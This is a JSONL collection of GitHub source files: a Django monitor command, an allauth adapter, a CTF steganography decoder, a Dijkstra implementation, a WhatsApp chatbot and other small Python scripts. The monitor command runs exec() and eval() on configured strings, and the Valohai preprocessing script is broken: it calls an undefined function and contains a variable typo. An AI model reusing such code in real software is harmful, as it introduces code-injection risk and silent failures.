%s' % imp_parts)\n elif len(imp_parts) == 2:\n cmd = ('from %s import %s' % imp_parts)\n elif len(imp_parts) == 3:\n cmd = ('from %s import %s as %s' % imp_parts)\n else:\n raise Exception('Invalid import: %s' % (imp,))\n if verbose:\n print(cmd)\n exec(cmd) # pylint: disable=exec-used\n if verbose:\n print(query)\n q = eval(query, globals(), locals()) # pylint: disable=W0123\n\n job = get_current_job()\n if job:\n job.monitor_records = q.count()\n job.save()\n\n if q.count():\n print('%i records require attention.' % (q.count(),), file=sys.stderr)\n else:\n print('%i records require attention.' % (q.count(),), file=sys.stdout)\n","repo_name":"onbased/django-chroniker","sub_path":"chroniker/management/commands/check_monitor.py","file_name":"check_monitor.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"27861370388","text":"import json\n\nimport requests\nfrom allauth.account.adapter import DefaultAccountAdapter\nfrom allauth.account.utils import user_field\nfrom allauth.socialaccount.adapter import DefaultSocialAccountAdapter\nfrom ipware import get_client_ip\n\nfrom settings.consts import IP_INFO_TOKEN\n\n\ndef _set_custom_data_for_user(request, user, data):\n country = ''\n client_ip, routable = get_client_ip(request)\n if client_ip is not None:\n # we have a real, public ip address for user\n ip_data: dict = requests.get(\n f'https://ipinfo.io/{client_ip}/json?token={IP_INFO_TOKEN}').json()\n if 'country' in ip_data:\n country = ip_data['country']\n user_field(user, 'country', country)\n user_field(user, 'platform', data.get('platform', ''))\n user_field(user, 'image_avatar_file_path', data.get('image_avatar_file_path', None))\n\n\nclass CustomUserAccountAdapter(DefaultAccountAdapter):\n \n def save_user(self, request, user, form, commit=True):\n \"\"\"\n Saves a new `User` instance using information provided in the\n signup form.\n \"\"\"\n user = super().save_user(request, user, form, False)\n user_field(user, 'first_name', request.data.get('first_name', ''))\n _set_custom_data_for_user(request, user, request.data)\n user.save()\n return user\n\n\nclass CustomSocialAdapter(DefaultSocialAccountAdapter):\n \n def populate_user(self, request, sociallogin, data):\n \"\"\"\n Hook that can be used to further populate the user instance.\n \n For convenience, we populate several common fields.\n \n Note that the user instance being populated represents a\n suggested User instance that represents the social user that is\n in the process of being logged in.\n \n The User instance need not be completely valid and conflict\n free. For example, verifying whether or not the username\n already exists, is not a responsibility.\n \"\"\"\n # fix because sometimes usernames are empty\n data['username'] = data['email']\n user = super().populate_user(request, sociallogin, data)\n _set_custom_data_for_user(request, user, data)\n return user\n","repo_name":"masumr/prime","sub_path":"beatpulse_backend-master/rest_auth_module/account_adapter.py","file_name":"account_adapter.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23298533271","text":"import numpy as np\nfrom PIL import Image\n\ndef fib(n):\n if n <= 1:\n return n\n return (fib(n-1) + fib(n-2))\n\ncur = 1\npres = 0\nres = bytearray(b'')\nwhile cur < 21:\n img = Image.open(f'ch_{cur}.png', 'r')\n # n and m chosen chosen because of RGB values\n n = 3\n m = 0\n array = np.array(list(img.getdata()))\n total_pixel = array.size // n\n hidden = \"\"\n # Hidden data extracted from the last bit of the present data\n for p in range(total_pixel):\n for q in range(m, n):\n hidden += bin(array[p][q])[2:][-1]\n hidden = [hidden[i:i+8] for i in range(0,len(hidden), 8)]\n x = fib(cur)\n # Only data upto the fibonacci sequence number is valid\n for i in range(0, x):\n res.append(int(hidden[i], 2))\n cur += 1\nres = bytes(res)\nwith open('./test.gif', 'wb') as f:\n f.write(res)\n","repo_name":"Jayashrri/PCTF21","sub_path":"Forensics/Secrets_Of_The_Universe/SolnStuff/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"45592661404","text":"'''\nDesign an algorithm to encode a list of strings to a string. The encoded string is then sent over the network and is decoded back to the original list of strings.\n\nMachine 1 (sender) has the function:\n\nstring encode(vector strs) {\n // ... your code\n return encoded_string;\n}\nMachine 2 (receiver) has the function:\nvector decode(string s) {\n //... your code\n return strs;\n}\nSo Machine 1 does:\n\nstring encoded_string = encode(strs);\nand Machine 2 does:\n\nvector strs2 = decode(encoded_string);\nstrs2 in Machine 2 should be the same as strs in Machine 1.\n\nImplement the encode and decode methods.\n\nNote:\nThe string may contain any possible characters out of 256 valid ascii characters. Your algorithm should be generalized enough to work on any possible characters.\nDo not use class member/global/static variables to store states. Your encode and decode algorithms should be stateless.\nDo not rely on any library method such as eval or serialize methods. You should implement your own encode/decode algorithm.\n'''\n\nclass Encoder:\n # prepend every word with its length followed by a delimiter `;` (example, happy becomes -> 5;happy)\n def encode(self, strs: list) -> str:\n encoded_string = ''\n for s in strs:\n l = len(s)\n encoded_string += (str(l) + ';')\n encoded_string += s\n return encoded_string\n\n def decode(self, encoded_string: str) -> list:\n decoded_strings = []\n i = 0\n while i < len(encoded_string):\n j = i\n while encoded_string[j] != ';': j += 1\n l = int(encoded_string[i:j])\n i = j+l+1\n decoded_strings.append(encoded_string[j+1:i])\n return decoded_strings\n\nif __name__ == '__main__':\n stringEncoder = Encoder()\n \n # encode\n encoded_string = stringEncoder.encode(['leet','code'])\n print(encoded_string) # 4;leet4;code\n\n # decode\n decoded_strings = stringEncoder.decode(encoded_string)\n print(decoded_strings) # ['leet', 'code']\n\n","repo_name":"vgnshiyer/Data-Structures-and-Algorithm-Solutions","sub_path":"Algorithms/Other/StringEncoder.py","file_name":"StringEncoder.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"7515057805","text":"# Generation salles\r\nimport random\r\nimport sys\r\nimport pygame\r\nfrom pygame.locals import *\r\n\r\n\r\nclass Point:\r\n def __init__(self, a, b):\r\n self.x = a\r\n self.y = b\r\n\r\n def __str__(self):\r\n return \"({}, {})\".format(self.x, self.y)\r\n\r\n def appartient(self, salle):\r\n return salle.x_min <= self.x <= salle.x_max and salle.y_min <= self.y <= salle.y_max\r\n\r\n\r\nclass Salle:\r\n def __init__(self, dx, dy):\r\n surface, h_max, h_min, l_max, l_min = 0, 0, 0, 0, 0\r\n while not(dx * dy / 30 <= surface <= dx * dy / 25 and h_min != h_max and l_min != l_max):\r\n h_max = random.randint(0, dy)\r\n h_min = random.randint(0, h_max)\r\n l_max = random.randint(0, dx)\r\n l_min = random.randint(0, l_max)\r\n surface = (h_max - h_min) * (l_max - l_min)\r\n self.coins = [Point(l_min, h_min), Point(l_max, h_min), Point(l_max, h_max), Point(l_min, h_max)]\r\n self.x_min = l_min\r\n self.x_max = l_max\r\n self.y_min = h_min\r\n self.y_max = h_max\r\n\r\n def __str__(self):\r\n return '({}, {}, {}, {})'.format(self.coins[0], self.coins[1], self.coins[2], self.coins[3])\r\n\r\n def intersection(self, s2):\r\n res = False\r\n for i in range(4):\r\n if self.coins[i].appartient(s2) or s2.coins[i].appartient(self) or (s2.x_min < self.x_min <= self.x_max < s2.x_max and self.y_min < s2.y_min <= s2.y_max < self.y_max) or (self.x_min < s2.x_min <= s2.x_max < self.x_max and s2.y_min < self.y_min <= self.y_max < s2.y_max):\r\n res = True\r\n return res\r\n\r\n def draw(self, background):\r\n from main import WHITE\r\n\r\n rect = Rect(self.coins[0].x, self.coins[0].y, self.x_max - self.x_min, self.y_max - self.y_min)\r\n pygame.draw.rect(background, WHITE, rect, 0)\r\n\r\n print(self)\r\n print(rect)\r\n\r\n\r\ndef generateur_salles(n, dx, dy):\r\n res = []\r\n salles_generes = 0\r\n while salles_generes <= n - 1:\r\n s = Salle(dx, dy)\r\n convient = True\r\n for salle in res:\r\n if s.intersection(salle) or abs(s.x_min - salle.x_max) < 4 or abs(salle.x_min - s.x_max) < 4 or abs(s.y_max - salle.y_min) < 4 or abs(salle.y_max - s.y_min) < 4 or s.x_max - s.x_min < 4 or s.y_max - s.y_min < 4:\r\n convient = False\r\n if convient:\r\n res.append(s)\r\n salles_generes += 1\r\n yield s\r\n\r\n\r\ndef affiche_tout(salles, dx, dy):\r\n for i in range(dy + 1):\r\n affichage = str()\r\n for j in range(dx + 1):\r\n tempo = str()\r\n for s in salles:\r\n if Point(j, i).appartient(s) and (j == s.x_min or j == s.x_max) and (i == s.y_min or i == s.y_max):\r\n tempo += \".\"\r\n break\r\n elif Point(j, i).appartient(s) and (j == s.x_min or j == s.x_max):\r\n tempo += \"|\"\r\n break\r\n elif Point(j, i).appartient(s) and (i == s.y_min or i == s.y_max):\r\n tempo += \"_\"\r\n break\r\n elif Point(j, i).appartient(s):\r\n tempo += \" \"\r\n break\r\n if tempo != \"\":\r\n affichage += tempo\r\n else:\r\n affichage += \"#\"\r\n print(affichage)\r\n return affichage\r\n\r\n# ##Generation Couloirs\r\n# class Couloir:\r\n","repo_name":"matthieu994/pyhack","sub_path":"levels_old.py","file_name":"levels_old.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13657629766","text":"\nprint('')\n\nimport gzip\nimport json\nimport numpy as np\nimport glob\nimport vispy_tube\nfrom multiprocessing import Pool\nimport collections\nimport collections.abc\ncollections.Iterable = collections.abc.Iterable\nfrom vispy.geometry import create_sphere\nimport collections\n\nNPROC = 12\n\ndef mesh_neuron(neuron):\n vertices = []\n faces = []\n for nt in neuron['traces']:\n trace = []\n trace.append((neuron['x'], neuron['y'], neuron['z']))\n for i, seg in enumerate(nt['trace'][::2]):\n x, y, z = seg['x'], seg['y'], seg['z']\n trace.append((x, y, z))\n trace = np.array(trace)\n if len(trace) >= 3:\n vv, ff = vispy_tube.mesh_tube(trace, 3)\n faces.append(ff + sum(map(len, vertices)))\n vertices.append(vv)\n if vertices:\n vertices = np.vstack(vertices)\n faces = np.vstack(faces)\n return vertices, faces\n else:\n return (), ()\n\nnetwork = None\ndef initializer(fn_network):\n global network\n with gzip.open(fn_network) as f:\n network = json.load(f)\n\ndef worker(worker_id):\n res = []\n soma_data = create_sphere()\n vv_soma, ff_soma = soma_data.get_vertices(), soma_data.get_faces()\n per_cluster = collections.defaultdict(list)\n for i, neuron in enumerate(network['neurons']):\n c = neuron['cluster']\n if c % NPROC != worker_id:\n continue\n dend = vv_dend, ff_dend = mesh_neuron(neuron)\n res.append((i, dend))\n somapos = np.array([neuron['x'], neuron['y'], neuron['z']])\n vv = np.vstack([vv_dend, vv_soma * 5 + somapos])\n ff = np.vstack([ff_dend, ff_soma + len(vv_dend)])\n with open(f'mesh/c{c:03d}_n{i:04d}.obj', 'w') as stream:\n for x, y, z in vv:\n print(f'v {x:.2f} {y:.2f} {z:.2f}', file=stream)\n for f in ff:\n print('f', *(f+1), file=stream)\n per_cluster[c].append((vv, ff))\n for cluster, meshes in per_cluster.items():\n with open(f'mesh/c{cluster:03d}_all.obj', 'w') as stream:\n offset = 0\n for vv, ff in meshes:\n for x, y, z in vv:\n print(f'v {x:.2f} {y:.2f} {z:.2f}', file=stream)\n for f in ff:\n print('f', *(f+1+offset), file=stream)\n offset += len(vv)\n offset = 0\n with open(f'mesh/worker{worker_id}_all.obj', 'w') as stream:\n for cluster, meshes in per_cluster.items():\n for vv, ff in meshes:\n for x, y, z in vv:\n print(f'v {x:.2f} {y:.2f} {z:.2f}', file=stream)\n for f in ff:\n print('f', *(f+1+offset), file=stream)\n offset += len(vv)\n return res\n\nif __name__ == '__main__':\n network_id = 'ada2023a-4377-409b-a5ce-02b6768ffe41'\n fn_network = f'/home/llandsmeer/repos/llandsmeer/iopublic/networks/{network_id}.json.gz'\n out = []\n with Pool(NPROC, initializer, (fn_network,)) as pool:\n for part in pool.map(worker, range(NPROC)):\n out.extend(part)\n out.sort()\n for i, k in out:\n print(i, end= ' ')\n","repo_name":"llandsmeer/iopublic","sub_path":"visualize/build_meshes.py","file_name":"build_meshes.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"72715159932","text":"from typing import Sequence\r\n\r\ndef group_word(a: Sequence):\r\n word_copy = []\r\n d = a[0]\r\n for i in range(1, len(a)):\r\n if d == a[i]:\r\n continue\r\n for j in word_copy: \r\n if a[i] == j: return 0\r\n if d != a[i]:\r\n word_copy.append(d)\r\n d = a[i]\r\n else: return 1\r\n\r\nif __name__ == '__main__':\r\n N = int(input())\r\n counter = 0\r\n for _ in range(N):\r\n word = input()\r\n counter += group_word(word)\r\n\r\n print(counter)","repo_name":"9yuR/Algorithm-Study","sub_path":"백준/Silver/1316. 그룹 단어 체커/그룹 단어 체커.py","file_name":"그룹 단어 체커.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10546929839","text":"import argparse\nimport logging\nimport os\nimport pdb\nimport sys\nfrom pathlib import Path\nfrom datetime import datetime\n\nimport numpy as np\nimport torch\nimport yaml\n\nfrom agent import Agent\nfrom connect4 import Connect4\nfrom deep_q_agent import DeepQAgent\nfrom evaluator import Evaluator\nfrom logger import setup_logger\nfrom mdp import Connect4MDP\nfrom replay_buffer import ReplayBuffer\nfrom self_play_episodes import self_play_episodes\nfrom trainer import Trainer\nfrom util_players import RandomPlayer, HumanPlayer\n\n# AlphaGoZero in 1 diagram\n# https://medium.com/applied-data-science/alphago-zero-explained-in-one-diagram-365f5abf67e0\n\n\n# DQN https://jaromiru.com/\n\n# Moving on from DQN. \n\n\n# icnrease negative reward for losing early?\n\n# Should I do something more systematic wrt epochs and data generation (self play) as \n# in train through all data in replay buffer before filling it again for next epoch etc. \n# and use torch dataloaders?\n\n## exploit symmetry by adding double entries for each experience of a flipped board? \n# Will this make it easier to learn symmetry?\n\n### Is it hard to learn connect4 with current archetecture bc relationship btwn states and rewards is NOT SMOOTH???\n## Can I make learning tractable with some search help???\n# --> network arch gets more complicated if I want to enable MCTS as well, multiple network heads computing\n# prob of action being highest value as well as likelihood of next move being winning move if replicate alphazero\n\n## Write min max agent to test against.\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--config_file\", default='config/default.yaml', help='Configuration file location.')\nparser.add_argument(\"--load_file\", default='', help='file load model for training from.')\nparser.add_argument(\"--save_file\", default='models/new_model_in_training', help='file to training model to.')\nparser.add_argument(\"--log_file\", default='logs/new_model_logs.log', help='log file location. Corresponds with model being trained.')\nARGS = parser.parse_args()\n\nwith open(ARGS.config_file, mode='r') as f:\n config = yaml.safe_load(f)\n\nrandom_seed = config['random_seed']\ntorch.manual_seed(random_seed)\nnp.random.seed(random_seed)\n\nsetup_logger(ARGS.log_file)\nlogger = logging.getLogger(__name__)\n\nlogger.info('\\n\\n---------- NEW LOG ----------\\n')\nlogger.info(f'config_file: {ARGS.config_file}')\nlogger.info(f'load_file: {ARGS.load_file}')\nlogger.info(f'save_file: {ARGS.save_file}')\nlogger.info(f'config params: {config}')\n\nmodel_dir, model_name = os.path.split(ARGS.save_file)\nmemory_file = model_dir + '/memory'\nagent = DeepQAgent(name=model_name)\nlogger.info(f'Device: {agent.device}')\n\nif ARGS.load_file:\n agent.load_model(ARGS.load_file)\n logger.info('loaded model')\n agent.load_memory_learning_iters(memory_file)\n logger.info('loaded memory and learning iters count')\n\ntrainer = Trainer(agent=agent, **config['Trainer'])\nevaluator = Evaluator()\n\nwhile len(agent.replay_buffer.memory) < agent.replay_buffer.capacity:\n trainer.self_play(100)\n logger.info('Building memory before learning')\n\n##################### TRAINING ###########################\nfor epoch in range(config['epochs']):\n logger.info(f'EPOCH {epoch}')\n print(f'EPOCH {epoch}') # for when training on colab\n trainer.train(iters=config['iters'], n_episodes=config['n_episodes'])\n trainer.scheduler.step()\n \n ## EVALUATION PHASE\n if config['eval_best']:\n best_agent = DeepQAgent(name='best')\n best_agent.load_model(config['best_model'])\n results, percentages = evaluator.evaluate(agent_1=agent, agent_2=best_agent, n_episodes=config['eval_episodes'])\n logger.info(f\"Performance vs best_model over {config['eval_episodes']} games: {percentages}\")\n \n if percentages[agent.name] > percentages[best_agent.name]:\n logger.info('WON VS BEST_MODEL. Overwriting best_model')\n agent.save_model(config['best_model'])\n else:\n logger.info('LOSS VS BEST_MODEL')\n \n if config['eval_random']:\n random_agent = RandomPlayer()\n results, percentages = evaluator.evaluate(agent_1=agent, agent_2=random_agent, n_episodes=config['eval_episodes'])\n win_p, loss_p, tie_p = [results[k] / config['eval_episodes'] for k in results]\n logger.info(f\"Performance vs random agent over {config['eval_episodes']} games: {percentages}\")\n \n agent.save_model(ARGS.save_file)\n logger.info(f'saved model state_dict at {ARGS.save_file}')\n agent.save_memory_learning_iters(memory_file)\n logger.info(f'saved memory and learning iters count at {memory_file}')\n\nlogger.info(f'Total agent learning iters: {agent.learning_iters}')\nlogger.info('DONE')\n################################################\n\n\n\n\n\n","repo_name":"ajpkim/dqn_connect4","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29400679914","text":"def find_lowest_cost(costs):\n\n lowest_cost = float('inf')\n lowest_cost_node = None\n\n for node in costs:\n cost = costs[node]\n if cost < lowest_cost and node not in processed:\n lowest_cost = cost\n lowest_cost_node = node\n return lowest_cost_node\n\ndef find_way(graph, costs, parents):\n\n node = find_lowest_cost (costs)\n\n while node is not None:\n cost = costs[node]\n neighbors = graph[node]\n for n in neighbors.keys():\n new_cost = cost + neighbors[n]\n if costs[n] > new_cost:\n costs[n] = new_cost\n parents[n] = node\n processed.append(node)\n node = find_lowest_cost (costs)\n return new_cost, processed\n\nif __name__ == '__main__':\n\n '''Взвешенный граф'''\n\n graph = {}\n\n graph['start'] = {}\n graph['start']['a'] = 5\n graph['start']['b'] = 2\n graph['a'] = {}\n graph['a']['d'] = 2\n graph['a']['c'] = 4\n graph['b'] = {}\n graph['b']['a'] = 8\n graph['b']['d'] = 7\n graph['c'] = {}\n graph['c']['d'] = 6\n graph['c']['fin'] = 3\n graph['d'] = {}\n graph['d']['fin'] = 1\n graph['fin'] = {}\n\n '''Таблиц�� стоимостей'''\n\n infinity = float('inf')\n costs = {}\n costs['a'] = 5\n costs['b'] = 2\n costs['c'] = 4\n costs['d'] = 6\n costs['fin'] = infinity\n\n '''Таблица родителей'''\n\n parents = {}\n parents['a'] = 'start'\n parents['b'] = 'start'\n parents['c'] = 'a'\n parents['d'] = 'b'\n\n parents['fin'] = None\n\n processed = []\n\n print(find_way(graph, costs, parents))\n\n","repo_name":"ArtyKrafty/Algorithms","sub_path":"venv/algorithm_dijkstra.py","file_name":"algorithm_dijkstra.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"3712376895","text":"# -*- coding: utf-8 -*-\nfrom pip_services4_components.config import ConfigParams\n\nfrom test.containers.DummyAzureFunction import DummyAzureFunction\nfrom test.containers.DummyAzureFuntionFixture import DummyAzureFunctionFixture\n\n\nclass TestDummyAzureFunction:\n _function: DummyAzureFunction\n fixture: DummyAzureFunctionFixture\n\n def setup_method(self):\n config = ConfigParams.from_tuples(\n 'logger.descriptor', 'pip-services:logger:console:default:1.0',\n 'service.descriptor', 'pip-services-dummies:service:default:default:1.0'\n )\n\n self._function = DummyAzureFunction()\n self._function.configure(config)\n self._function.open(None)\n\n self.fixture = DummyAzureFunctionFixture(self._function)\n\n def teardown_method(self):\n self._function.close(None)\n\n def test_crud_operations(self):\n self.fixture.test_crud_operations()\n","repo_name":"pip-services4/pip-services4-python","sub_path":"pip-services4-azure-python/test/containers/test_DummyAzureFunction.py","file_name":"test_DummyAzureFunction.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31831794179","text":"import valohai\nimport pandas as pd\n\nmy_data = {\n 'myinput': 'datum://0182b0ad-0cee-a0a0-a4f8-ec01b8421bb3'\n}\n \n\nvalohai.prepare(\n step='preprocess-dataset',\n image='python:3.9',\n default_inputs= my_data\n)\n\n#read csv with pandas\ndf = pd.read_csv(valohai.inputs(\"myinput\").path())\n\n\n#Conversão dos dtypes\n\ndf[\"time\"] = pd.to_datetime(df[\"time\"])\n\n#Agrupamento e aplicação da transformação na base toda\n\ndf['entries_diff'] = df.groupby(['ca', 'scp', 'station', 'linename'])['entries'].transform(pd.Series.diff)\n\nidx_outliers = df.groupby(['ca', 'scp', 'station', 'linename']).apply(\n lambda x: outlier_boxplot(x['entries_diff'])\n)\n\nx_total_outliers = []\nfor i in idx_outliers:\n idx_total_outliers.extend(i)\ndf.loc[idx_total_outliers, 'entries_diff'] = 0\n\n\n#saving output to valohai\n\noutput_path = valohai.outputs().path('datum://0182b0ad-0cee-a0a0-a4f8-ec01b8421bb3')\n","repo_name":"AlbertoPradodv/poc_valohai_nyc_metro","sub_path":"preprocess_main.py","file_name":"preprocess_main.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31255499410","text":"import json\nimport requests\nfrom decouple import config\nimport mysecrets\nimport time\n\ndef type_of_message(message):\n if 'type' not in message:\n text = 'message not recognized'\n return text\n\n type_message = message['type']\n if type_message == 'text':\n text = message['text']['body']\n print('te', text)\n \n elif type_message == 'interactive' and message['interactive']['type'] == 'list_reply':\n text = message['interactive']['list_reply']['title']\n\n elif type_message == 'interactive' and message['interactive']['type'] == 'button_reply':\n # Extract content from the interactive button message\n text = message['interactive']['button_reply']['title']\n print('text', text)\n\n\n\n else:\n text = 'Unrecognized message'\n return text\n\ndef whatsapp_api(data):\n try:\n whatsapp_token = mysecrets.Whatsapp_Token\n whatsapp_url = mysecrets.Whatsapp_Url\n headers = {'Content-Type': 'application/json',\n 'Authorization': 'Bearer ' + whatsapp_token}\n response = requests.post(whatsapp_url, \n headers=headers, data=data)\n \n print('API Request Data:', data)\n print('API Response Status Code:', response.status_code)\n print('API Response Content:', response.content)\n\n if response.status_code == 200:\n return 'message sent', 200\n else:\n return 'An error occured.', response.status_code\n except Exception as e:\n print('API Request Error:', str(e))\n return str(e), 403\n\ndef text_Message(number, text):\n data = json.dumps(\n {\n \"messaging_product\": \"whatsapp\",\n \"recipient_type\": \"individual\",\n \"to\":number,\n \"type\": \"text\",\n \"text\":{\n \"body\": text\n }\n\n }\n )\n print('data', data)\n return data\n\ndef button_reply_message(number, options, body, footer, sedd, messageId):\n buttons = []\n\n for index, option in enumerate(options):\n buttons.append(\n {\n \"type\": \"reply\",\n \"reply\":{\n \"id\": sedd + \"_btn_\" + str(index+1),\n \"title\": option,\n }\n }\n )\n\n data = json.dumps(\n {\n \n \"messaging_product\":\"whatsapp\",\n \"recipient_type\": \"individual\",\n \"to\":number,\n \"type\": \"interactive\",\n \"interactive\":{\n \"type\": \"button\",\n\n \"body\": {\n \"text\": body\n },\n \"footer\": {\n \"text\": footer\n },\n \"action\":{\n \"buttons\": buttons\n }\n\n }\n }\n\n )\n return data\n\ndef list_reply_message(number, options, body, footer, sedd, messageId):\n rows = []\n\n for index, option in enumerate(options):\n rows.append(\n {\n \"id\": sedd + \"_row_\" + str(index+1),\n \"title\": option,\n }\n )\n\n data = json.dumps(\n { \n \"messaging_product\":\"whatsapp\",\n \"recipient_type\": \"individual\",\n \"to\": number,\n \"type\": \"interactive\",\n \"interactive\": {\n \"type\": \"list\",\n\n \"body\": {\n \"text\": body\n },\n \"footer\": {\n \"text\": footer\n },\n \"action\": {\n \"button\": \"All Sections\",\n \"sections\": [\n {\n \"title\": \"Section\",\n \"rows\": rows\n },\n ]\n }\n }\n }\n )\n return data\n\ndef document_message(number, url, caption, filename):\n data = json.dumps(\n {\n \"messaging_product\": \"whatsapp\",\n \"recipient_type\":\"individual\",\n \"to\": number,\n \"type\": \"document\",\n \"document\":{\n \"link\": url,\n \"caption\": caption,\n \"filename\": filename\n }\n }\n )\n return data\n\ndef sticker_message(number,sticker_id):\n data = json.dumps(\n {\n \"messaging_product\": \"whatsapp\",\n \"recipient_type\":\"individual\",\n \"to\": number,\n \"type\": \"sticker\",\n \"document\":{\n \"id\": sticker_id,\n }\n }\n )\n return data\n\ndef get_media_id(media_name, media_type):\n media_id = \"\"\n if media_type == \"image\":\n media_id = mysecrets.image.get(media_name,None)\n elif media_type == \"video\":\n media_id = mysecrets.video.get(media_name,None)\n elif media_type == \"audio\":\n media_id = mysecrets.audio.get(media_name,None)\n elif media_type == \"sticker\":\n media_id = mysecrets.stickers.get(media_name,None)\n return media_id\n\ndef reply_with_emoji(number, messageId, emoji):\n data = json.dumps(\n {\n \"messaging_product\": \"whatsapp\",\n \"recipient_type\":\"individual\",\n \"to\": number,\n \"type\": \"reaction\",\n \"reaction\":{\n \"message_id\": messageId,\n \"emoji\": emoji,\n }\n }\n )\n return data \n\ndef reply_text(number,messageId, text):\n data = json.dumps(\n {\n \"messaging_product\": \"whatsapp\",\n \"recipient_type\": \"individual\",\n \"to\":number,\n \"context\": {\"message_id\": messageId},\n \"type\": \"text\",\n \"text\":{\n \"body\": text\n }\n }\n )\n print('data', data)\n return data\n\ndef mark_read(messageId):\n data = json.dumps(\n {\n \"messaging_product\": \"whatsapp\",\n \"status\": \"read\",\n \"message_id\": messageId\n\n }\n )\n print('data', data)\n return data\n\ndef chatbot_admin(text, number, messageId, name):\n text = text.lower()\n list = []\n\n mark_as_read = mark_read(messageId)\n list.append(mark_as_read)\n time.sleep(2)\n try:\n\n if \"hello\" in text:\n body = \"Hello there!, I'm Bukky , Austine's special assistant, Austine is currently offline, Can i be of help today?\"\n footer = \"Austine Ebogu\"\n options = [\"Chat with me\", \"Call Austine?\"]\n\n reply = button_reply_message(number, options, body, footer, \"sed1\", messageId)\n\n reply_reaction = reply_with_emoji(number, messageId, \"😎\" )\n print('reply', reply)\n print('reply_reaction', reply_reaction)\n\n list.append(reply_reaction)\n list.append(reply)\n \n elif \"chat with me\" in text:\n body = \"You made the right choice, Ask me anything you will love to know about\"\n footer = \"Austine Ebogu\"\n options = [\"We can play a game?\", \"I can ask you a question\"]\n\n reply = list_reply_message(number, options, body, footer, \"sed2\", messageId)\n\n reply_reaction = sticker_message(number, get_media_id(\"perro_traje\", \"sticker\"))\n\n list.append(reply)\n list.append(reply_reaction )\n \n elif \"we can play a game\" in text:\n body = \"Let's play a guess game? Guess an alphabet on my mind between A - E, Hint: It is a vowel\"\n footer = \"Austine Ebogu\"\n options = [\"I don't know 🤦‍♂️\", \"There's no vowel between them 🤷‍♀️\"]\n\n reply = button_reply_message(number, options, body, footer, \"sed3\", messageId)\n\n reply_reaction = reply_with_emoji(number, messageId, \"💖\" )\n\n list.append(reply_reaction)\n list.append(reply)\n \n elif \"i don't know\" in text:\n # sticker = sticker_message(number, get_media_id(\"poyo_feliz\", \"sticker\"))\n text_message = text_Message(number, \"If you selected the second button, You could've won, Meanwhile take your gift for playing\")\n # whatsapp_api(sticker)\n whatsapp_api(text_message)\n time.sleep(3)\n\n document = document_message(number, 'https://res.cloudinary.com/de8gwnof9/image/upload/v1692787659/Sme_header_photos/ijeml6jl9w6twhaiu3cw.jpg', \"Reward ❤\", \"Your gift.jpg\")\n whatsapp_api(document)\n time.sleep(3)\n\n body = \"Thank you very much\"\n footer = \"Austine Ebogu\"\n options = [\"🌹Play again\", \"Call Austine🌹\"]\n\n reply = button_reply_message(number, options, body, footer, \"sed4\", messageId)\n\n reply_reaction = reply_with_emoji(number, messageId, \"💖\" )\n\n list.append(reply_reaction)\n list.append(reply)\n \n elif \"play again\" in text:\n body = \"Let's play a guess game? Guess an alphabet on my mind between A - E, Hint: It is a vowel\"\n footer = \"Austine Ebogu\"\n options = [\"I don't know 🤦‍♂️\", \"There's no vowel 🤷‍♀️\"]\n\n reply = button_reply_message(number, options, body, footer, \"sed5\", messageId)\n\n reply_reaction = reply_with_emoji(number, messageId, \"💖\" )\n\n list.append(reply_reaction)\n list.append(reply)\n \n elif \"there's no vowel between them\" in text:\n body = \"You're right, That was not hard, Your Turn?\"\n footer = \"Austine Ebogu\"\n options = [\"Play Another One 👏\", \"I don't want to play 😒\"]\n\n reply = list_reply_message(number, options, body, footer, \"sed6\", messageId)\n list.append(reply)\n\n elif \"i don't want to play\" in text:\n body = \"_Austine will be with you shortly_, *Bye for now* 👌\"\n reply = text_Message(number, body)\n list.append(reply)\n\n else:\n data = text_Message(number, \"Invalid Selection, Choose from the option or re-type verbatim\")\n list.append(data)\n print(data)\n\n for data in list:\n whatsapp_api(data)\n except Exception as e:\n print(\"Unhandled error:\", str(e))\n\n","repo_name":"Austinobravo/chatbot","sub_path":"services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":10229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12509734133","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\nfrom . import views\n\nurlpatterns = [\n url(r'^index/$', views.index, name='index'),\n url(r'^todo/$', views.todo_list, name='todo_list'),\n url(r'^todo/(?P[0-9]+)/$', views.todo_detail, name='todo_detail'),\n url(r'^todo/new/$', views.todo_new, name='todo_new'),\n url(r'^todo/(?P[0-9]+)/edit/$', views.todo_edit, name='todo_edit'),\n url(r'^todo/(?P[0-9]+)/delete/$', views.todo_delete, name='todo_delete')\n]","repo_name":"pradeep-sukhwani/Django-Workshop","sub_path":"todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29413244770","text":"import urllib.request\nimport urllib.parse\nimport re\ndef 